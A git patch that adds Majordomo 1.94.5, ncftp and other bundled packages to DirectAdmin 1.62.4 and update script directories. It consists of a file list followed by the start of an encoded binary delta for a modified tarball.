From 18736081c699252bc5a0f5fe7541d7e1ae024714 Mon Sep 17 00:00:00 2001 From: tuend-work <121396415+tuend-work@users.noreply.github.com> Date: Thu, 13 Nov 2025 08:41:45 +0700 Subject: [PATCH] a --- directadmin-1.62.4.tar.gz | Bin 9771112 -> 11469115 bytes .../packages/majordomo-1.94.5-patched.tar.gz | Bin 0 -> 350163 bytes .../packages/majordomo-1.94.5/Changelog | 2418 +++++ .../scripts/packages/majordomo-1.94.5/Doc/FAQ | 1350 +++ .../packages/majordomo-1.94.5/Doc/README | 40 + .../majordomo-1.94.5/Doc/README.digest | 110 + .../majordomo-1.94.5/Doc/README.sequencer | 69 + .../majordomo-1.94.5/Doc/digest.aliases | 18 + .../majordomo-1.94.5/Doc/firewalls-digest.cf | 51 + .../Doc/firewalls-digest.header | 6 + .../majordomo-1.94.5/Doc/firewalls-digest.num | 1 + .../Doc/firewalls-digest.trailer | 18 + .../majordomo-1.94.5/Doc/firewalls-digest.vol | 1 + .../majordomo-1.94.5/Doc/list-owner-info | 588 ++ .../majordomo-1.94.5/Doc/majordomo-faq.html | 1456 +++ .../majordomo-1.94.5/Doc/majordomo-faq.txt | 1350 +++ .../majordomo-1.94.5/Doc/majordomo.lisa6.ps | 8203 +++++++++++++++++ .../majordomo-1.94.5/Doc/majordomo.ora | 1718 ++++ .../majordomo-1.94.5/Doc/man/approve.1 | 137 + .../majordomo-1.94.5/Doc/man/approve.man | 132 + .../majordomo-1.94.5/Doc/man/bounce-remind.1 | 1 + .../Doc/man/bounce-remind.man | 198 + .../majordomo-1.94.5/Doc/man/bounce.1 | 221 + .../majordomo-1.94.5/Doc/man/bounce.man | 198 + .../majordomo-1.94.5/Doc/man/digest.1 | 357 + .../majordomo-1.94.5/Doc/man/digest.man | 396 + .../majordomo-1.94.5/Doc/man/majordomo.8 | 300 + .../majordomo-1.94.5/Doc/man/majordomo.man | 264 + .../majordomo-1.94.5/Doc/man/resend.1 | 184 + .../majordomo-1.94.5/Doc/man/resend.man | 264 + .../majordomo-1.94.5/Doc/quick-digest-setup | 105 + .../scripts/packages/majordomo-1.94.5/FUTURE | 229 + .../scripts/packages/majordomo-1.94.5/INSTALL | 187 + .../scripts/packages/majordomo-1.94.5/LICENSE | 142 + .../packages/majordomo-1.94.5/Makefile | 237 + .../scripts/packages/majordomo-1.94.5/NEWLIST | 138 + .../scripts/packages/majordomo-1.94.5/NEWS | 148 + .../scripts/packages/majordomo-1.94.5/README | 569 ++ .../packages/majordomo-1.94.5/README.eVote | 81 + .../scripts/packages/majordomo-1.94.5/approve | 252 + .../packages/majordomo-1.94.5/archive2.pl | 188 + .../majordomo-1.94.5/archive2.pl.orig | 188 + .../scripts/packages/majordomo-1.94.5/bounce | 202 + .../packages/majordomo-1.94.5/bounce-remind | 105 + .../packages/majordomo-1.94.5/config-test | 418 + .../packages/majordomo-1.94.5/config_parse.pl | 1511 +++ .../majordomo-1.94.5/contrib/archive.pl | 109 + .../majordomo-1.94.5/contrib/archive_mh.pl | 34 + .../majordomo-1.94.5/contrib/digest.diff | 348 + .../majordomo-1.94.5/contrib/digest.num | 45 + .../majordomo-1.94.5/contrib/digest.send | 28 + .../majordomo-1.94.5/contrib/logsummary.pl | 156 + .../majordomo-1.94.5/contrib/makeindex.pl | 98 + .../majordomo-1.94.5/contrib/new-list | 103 + .../majordomo-1.94.5/contrib/sequencer | 559 ++ .../scripts/packages/majordomo-1.94.5/digest | 504 + .../packages/majordomo-1.94.5/digest.orig | 503 + .../majordomo-1.94.5/include/sysexits.h | 118 + .../packages/majordomo-1.94.5/install.sh | 251 + .../packages/majordomo-1.94.5/majordomo | 1951 ++++ .../majordomo-1.94.5/majordomo.aliases | 25 + .../packages/majordomo-1.94.5/majordomo.orig | 1951 ++++ .../packages/majordomo-1.94.5/majordomo.pl | 828 ++ .../majordomo-1.94.5/majordomo_version.pl | 5 + .../packages/majordomo-1.94.5/md-sub/catdb | 20 + .../majordomo-1.94.5/md-sub/cgi-lib.pl | 170 + .../majordomo-1.94.5/md-sub/md-sub.cgi | 413 + .../majordomo-1.94.5/md-sub/ml-init.sample | 9 + .../scripts/packages/majordomo-1.94.5/medit | 61 + .../packages/majordomo-1.94.5/request-answer | 145 + .../scripts/packages/majordomo-1.94.5/resend | 970 ++ .../packages/majordomo-1.94.5/resend.orig | 969 ++ .../packages/majordomo-1.94.5/sample.cf | 316 + .../packages/majordomo-1.94.5/shlock.pl | 312 + .../packages/majordomo-1.94.5/todo.local | 100 + .../scripts/packages/majordomo-1.94.5/wrapper | Bin 0 -> 23328 bytes .../packages/majordomo-1.94.5/wrapper.c | 157 + .../packages/majordomo-1.94.5/wrapper.sh | 13 + .../scripts/packages/ncftp-3.2.6-src.tar.gz | Bin 0 -> 657878 bytes .../scripts/packages/services.tar.gz | Bin 0 -> 349732 bytes .../scripts/packages/services.tar.gz.md5 | 1 + .../scripts/packages/sysbk.tar.gz | Bin 0 -> 15306 bytes update.tar.gz | Bin 14727357 -> 16425658 bytes update/scripts/majordomo.sh | 2 +- update/scripts/ncftp.sh | 2 +- .../packages/majordomo-1.94.5-patched.tar.gz | Bin 0 -> 350163 bytes .../packages/majordomo-1.94.5/Changelog | 2418 +++++ .../scripts/packages/majordomo-1.94.5/Doc/FAQ | 1350 +++ .../packages/majordomo-1.94.5/Doc/README | 40 + .../majordomo-1.94.5/Doc/README.digest | 110 + .../majordomo-1.94.5/Doc/README.sequencer | 69 + .../majordomo-1.94.5/Doc/digest.aliases | 18 + .../majordomo-1.94.5/Doc/firewalls-digest.cf | 51 + .../Doc/firewalls-digest.header | 6 + .../majordomo-1.94.5/Doc/firewalls-digest.num | 1 + .../Doc/firewalls-digest.trailer | 18 + .../majordomo-1.94.5/Doc/firewalls-digest.vol | 1 + .../majordomo-1.94.5/Doc/list-owner-info | 588 ++ .../majordomo-1.94.5/Doc/majordomo-faq.html | 1456 +++ .../majordomo-1.94.5/Doc/majordomo-faq.txt | 1350 +++ .../majordomo-1.94.5/Doc/majordomo.lisa6.ps | 8203 +++++++++++++++++ .../majordomo-1.94.5/Doc/majordomo.ora | 1718 ++++ .../majordomo-1.94.5/Doc/man/approve.1 | 137 + .../majordomo-1.94.5/Doc/man/approve.man | 132 + .../majordomo-1.94.5/Doc/man/bounce-remind.1 | 1 + .../Doc/man/bounce-remind.man | 198 + .../majordomo-1.94.5/Doc/man/bounce.1 | 221 + .../majordomo-1.94.5/Doc/man/bounce.man | 198 + .../majordomo-1.94.5/Doc/man/digest.1 | 357 + .../majordomo-1.94.5/Doc/man/digest.man | 396 + .../majordomo-1.94.5/Doc/man/majordomo.8 | 300 + .../majordomo-1.94.5/Doc/man/majordomo.man | 264 + .../majordomo-1.94.5/Doc/man/resend.1 | 184 + .../majordomo-1.94.5/Doc/man/resend.man | 264 + .../majordomo-1.94.5/Doc/quick-digest-setup | 105 + .../scripts/packages/majordomo-1.94.5/FUTURE | 229 + .../scripts/packages/majordomo-1.94.5/INSTALL | 187 + .../scripts/packages/majordomo-1.94.5/LICENSE | 142 + .../packages/majordomo-1.94.5/Makefile | 237 + .../scripts/packages/majordomo-1.94.5/NEWLIST | 138 + update/scripts/packages/majordomo-1.94.5/NEWS | 148 + .../scripts/packages/majordomo-1.94.5/README | 569 ++ .../packages/majordomo-1.94.5/README.eVote | 81 + .../scripts/packages/majordomo-1.94.5/approve | 252 + .../packages/majordomo-1.94.5/archive2.pl | 188 + .../majordomo-1.94.5/archive2.pl.orig | 188 + .../scripts/packages/majordomo-1.94.5/bounce | 202 + .../packages/majordomo-1.94.5/bounce-remind | 105 + .../packages/majordomo-1.94.5/config-test | 418 + .../packages/majordomo-1.94.5/config_parse.pl | 1511 +++ .../majordomo-1.94.5/contrib/archive.pl | 109 + .../majordomo-1.94.5/contrib/archive_mh.pl | 34 + .../majordomo-1.94.5/contrib/digest.diff | 348 + .../majordomo-1.94.5/contrib/digest.num | 45 + .../majordomo-1.94.5/contrib/digest.send | 28 + .../majordomo-1.94.5/contrib/logsummary.pl | 156 + .../majordomo-1.94.5/contrib/makeindex.pl | 98 + .../majordomo-1.94.5/contrib/new-list | 103 + .../majordomo-1.94.5/contrib/sequencer | 559 ++ .../scripts/packages/majordomo-1.94.5/digest | 504 + .../packages/majordomo-1.94.5/digest.orig | 503 + .../majordomo-1.94.5/include/sysexits.h | 118 + .../packages/majordomo-1.94.5/install.sh | 251 + .../packages/majordomo-1.94.5/majordomo | 1951 ++++ .../majordomo-1.94.5/majordomo.aliases | 25 + .../packages/majordomo-1.94.5/majordomo.orig | 1951 ++++ .../packages/majordomo-1.94.5/majordomo.pl | 828 ++ .../majordomo-1.94.5/majordomo_version.pl | 5 + .../packages/majordomo-1.94.5/md-sub/catdb | 20 + .../majordomo-1.94.5/md-sub/cgi-lib.pl | 170 + .../majordomo-1.94.5/md-sub/md-sub.cgi | 413 + .../majordomo-1.94.5/md-sub/ml-init.sample | 9 + .../scripts/packages/majordomo-1.94.5/medit | 61 + .../packages/majordomo-1.94.5/request-answer | 145 + .../scripts/packages/majordomo-1.94.5/resend | 970 ++ .../packages/majordomo-1.94.5/resend.orig | 969 ++ .../packages/majordomo-1.94.5/sample.cf | 316 + .../packages/majordomo-1.94.5/shlock.pl | 312 + .../packages/majordomo-1.94.5/todo.local | 100 + .../scripts/packages/majordomo-1.94.5/wrapper | Bin 0 -> 23328 bytes .../packages/majordomo-1.94.5/wrapper.c | 157 + .../packages/majordomo-1.94.5/wrapper.sh | 13 + .../scripts/packages/ncftp-3.2.6-src.tar.gz | Bin 0 -> 657878 bytes update/scripts/packages/services.tar.gz | Bin 0 -> 349732 bytes update/scripts/packages/services.tar.gz.md5 | 1 + update/scripts/packages/sysbk.tar.gz | Bin 0 -> 15306 bytes 166 files changed, 72044 insertions(+), 2 deletions(-) create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5-patched.tar.gz create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Changelog create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/FAQ create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.digest create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/README.sequencer create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/digest.aliases create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/list-owner-info create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl.orig create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/bounce-remind create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config-test create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/config_parse.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.aliases create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.orig create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c create mode 100644 directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh create mode 100644 directadmin-1.62.4/scripts/packages/ncftp-3.2.6-src.tar.gz create mode 100644 directadmin-1.62.4/scripts/packages/services.tar.gz create mode 100644 directadmin-1.62.4/scripts/packages/services.tar.gz.md5 create mode 100644 directadmin-1.62.4/scripts/packages/sysbk.tar.gz create mode 100644 update/scripts/packages/majordomo-1.94.5-patched.tar.gz create mode 100644 update/scripts/packages/majordomo-1.94.5/Changelog create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/FAQ create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/README create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/README.digest create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/README.sequencer create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/digest.aliases create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.cf create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.header create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.num create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.trailer create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/firewalls-digest.vol create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/list-owner-info create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/man/resend.man create mode 100644 update/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup create mode 100644 update/scripts/packages/majordomo-1.94.5/FUTURE create mode 100644 update/scripts/packages/majordomo-1.94.5/INSTALL create mode 100644 update/scripts/packages/majordomo-1.94.5/LICENSE create mode 100644 update/scripts/packages/majordomo-1.94.5/Makefile create mode 100644 update/scripts/packages/majordomo-1.94.5/NEWLIST create mode 100644 update/scripts/packages/majordomo-1.94.5/NEWS create mode 100644 update/scripts/packages/majordomo-1.94.5/README create mode 100644 update/scripts/packages/majordomo-1.94.5/README.eVote create mode 100644 update/scripts/packages/majordomo-1.94.5/approve create mode 100644 update/scripts/packages/majordomo-1.94.5/archive2.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/archive2.pl.orig create mode 100644 update/scripts/packages/majordomo-1.94.5/bounce create mode 100644 update/scripts/packages/majordomo-1.94.5/bounce-remind create mode 100644 update/scripts/packages/majordomo-1.94.5/config-test create mode 100644 update/scripts/packages/majordomo-1.94.5/config_parse.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/archive.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/digest.diff create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/digest.num create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/digest.send create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/new-list create mode 100644 update/scripts/packages/majordomo-1.94.5/contrib/sequencer create mode 100644 update/scripts/packages/majordomo-1.94.5/digest create mode 100644 update/scripts/packages/majordomo-1.94.5/digest.orig create mode 100644 update/scripts/packages/majordomo-1.94.5/include/sysexits.h create mode 100644 update/scripts/packages/majordomo-1.94.5/install.sh create mode 100644 update/scripts/packages/majordomo-1.94.5/majordomo create mode 100644 update/scripts/packages/majordomo-1.94.5/majordomo.aliases create mode 100644 update/scripts/packages/majordomo-1.94.5/majordomo.orig create mode 100644 update/scripts/packages/majordomo-1.94.5/majordomo.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/majordomo_version.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/md-sub/catdb create mode 100644 update/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi create mode 100644 update/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample create mode 100644 update/scripts/packages/majordomo-1.94.5/medit create mode 100644 update/scripts/packages/majordomo-1.94.5/request-answer create mode 100644 update/scripts/packages/majordomo-1.94.5/resend create mode 100644 update/scripts/packages/majordomo-1.94.5/resend.orig create mode 100644 update/scripts/packages/majordomo-1.94.5/sample.cf create mode 100644 update/scripts/packages/majordomo-1.94.5/shlock.pl create mode 100644 update/scripts/packages/majordomo-1.94.5/todo.local create mode 100644 update/scripts/packages/majordomo-1.94.5/wrapper create mode 100644 update/scripts/packages/majordomo-1.94.5/wrapper.c create mode 100644 update/scripts/packages/majordomo-1.94.5/wrapper.sh create mode 100644 update/scripts/packages/ncftp-3.2.6-src.tar.gz create mode 100644 update/scripts/packages/services.tar.gz create mode 100644 update/scripts/packages/services.tar.gz.md5 create mode 100644 update/scripts/packages/sysbk.tar.gz diff --git a/directadmin-1.62.4.tar.gz b/directadmin-1.62.4.tar.gz index b82343a5ed57c44e8db00f96425301c5c4a658d7..1047686c1344028a58dd5d9238ec66e6239130d7 100644 GIT binary patch delta 1737748 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%0DC@sF<$Rgr8?wm1QXP|->ua%wwa>*~f? 